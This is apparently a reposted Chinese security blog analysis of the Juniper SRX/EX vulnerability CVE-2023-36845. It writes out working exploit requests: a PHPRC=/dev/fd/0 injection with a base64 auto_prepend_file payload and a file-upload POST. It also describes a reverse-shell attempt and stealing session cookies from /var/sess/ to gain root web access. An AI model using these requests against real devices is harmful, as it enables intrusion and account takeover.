Juniper新洞CVE-2023-36845浅析

渗透技巧 7个月前 admin
212 0 0

前言
2023 年 8 月 17 日,Juniper 宣布了多个漏洞,包括:与防火墙 SRX 和 Switch EX 相关的 CVE-2023-36844、CVE-2023-36845、CVE-2023-36846、CVE-2023-36847、CVE-2023-36851。

Juniper表示,这些CVE的CVSS评分均为5.3,如果组合在一起,该漏洞的CVSS评分可达9.8。目前,我不知道 Juniper 是否更新了这些 CVE 的分数,因为事实上,我的以下 PoC 可以证明只有 1 个 CVE-2023-36845 可以进行 RCE,甚至接管系统的管理员权限。因此,仅此 CVE-2023-36845 就值得 CVSS 9.8 分!

CVE 和 PoC 分析
谈到公开的PoC,他们使用CVE-2023-36846上传可执行文件test.php和文件php.ini。接下来,他们利用CVE-2023-36845更改PHP的PHPRC环境变量,以通过php.ini文件执行test.php文件。但其RCE仅止于执行phpinfo()和LFI函数读取部分内容,并不能提权或产生任何影响。

于是本地找了个环境进行测试,公开的脚本如下
https://github.com/kljunowsky/CVE-2023-36845
https://github.com/r3dcl1ff/CVE-2023-36844_Juniper_RCE

根据PoC发出以下POST请求

POST /webauth_operation.php HTTP/1.1
Host: xxxxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]

请求:

POST /webauth_operation.php HTTP/1.1
Host: 10.96.199.151
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]

响应:

HTTP/1.1 200 OK
Date: Wed, 27 Sep 2023 11:28:38 GMT
Cache-Control: no-cache
ETag: "1ac3c-505-6103b62b"
Content-Type: text/html; charset=UTF-8
Connection: close
Last-Modified: Wed, 27 Sep 2023 11:28:38 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'
Content-Length: 23

-:function not callable

竟然会报错?-:function not callable ?
使用payload <? phpinfo(); ?>测试:

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

过程:

Juniper新洞CVE-2023-36845浅析

POST request:

POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 10.96.199.151
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 96

allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="

发现响应为:

Juniper新洞CVE-2023-36845浅析


访问界面:

Juniper新洞CVE-2023-36845浅析

保存到本地:

Juniper新洞CVE-2023-36845浅析

执行 get_current_user() 的payload

Juniper新洞CVE-2023-36845浅析

发现响应为:

Juniper新洞CVE-2023-36845浅析


但是用其他命令执行发现:

Juniper新洞CVE-2023-36845浅析


响应为:

Juniper新洞CVE-2023-36845浅析

竟然没有这些命令,那只能祭出大杀器:反弹shell!
尝试使用/bin/bash来reverse_shell但它不起作用:

Juniper新洞CVE-2023-36845浅析


监听:

Juniper新洞CVE-2023-36845浅析


发送POST request后,发现:

Juniper新洞CVE-2023-36845浅析

只能执行一些类似于RCE的基本命令。
那么为什么 root 用户不能执行这些基本命令呢?因为 Juniper 从版本 7.5 开始默认安装一个工具来限制此执行权限,即使它是 root 用户,因此为 Juniper 的开发团队整了个Veriexec:

Juniper新洞CVE-2023-36845浅析

最后的最后,看到国外大佬研究成果:窃取登录用户的cookie登录web。
在本地搜索源代码后,我发现PHPSESSION值位于PHP存储在/var/sess/中的cookie中
/var/sess/:

Juniper新洞CVE-2023-36845浅析

那就用glob() 读取/var/sess/的文件列表吧!

Juniper新洞CVE-2023-36845浅析


POST response:

Juniper新洞CVE-2023-36845浅析


https的话要使用SECUREPHPSESSID

Juniper新洞CVE-2023-36845浅析


将文件名作为内容填充到web中:

Juniper新洞CVE-2023-36845浅析

刷新后:

Juniper新洞CVE-2023-36845浅析

当前是root,超级用户:

Juniper新洞CVE-2023-36845浅析

还尝试了用来登录ssh:

Juniper新洞CVE-2023-36845浅析

按照国外大佬的说法,此目录中会有sess-….文件,有的话可以登陆,没有就是不能登陆,因为源码中写的session超时3600秒,一小时。

Juniper新洞CVE-2023-36845浅析

但实际环境验证发现:

Juniper新洞CVE-2023-36845浅析


大多环境可能版本差异,并无法完美使用,可能需要更新的版本。
目前次漏洞的利用算是进行了概念验证,奈何Juniper防控太强,能用的洞,也等于没用;欢迎大佬们讨论研究。

来源:https://xz.aliyun.com/ 感谢:耳旁有首歌


原文始发于微信公众号(衡阳信安):Juniper新洞CVE-2023-36845浅析

版权声明:admin 发表于 2023年10月11日 上午12:00。
转载请注明:Juniper新洞CVE-2023-36845浅析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...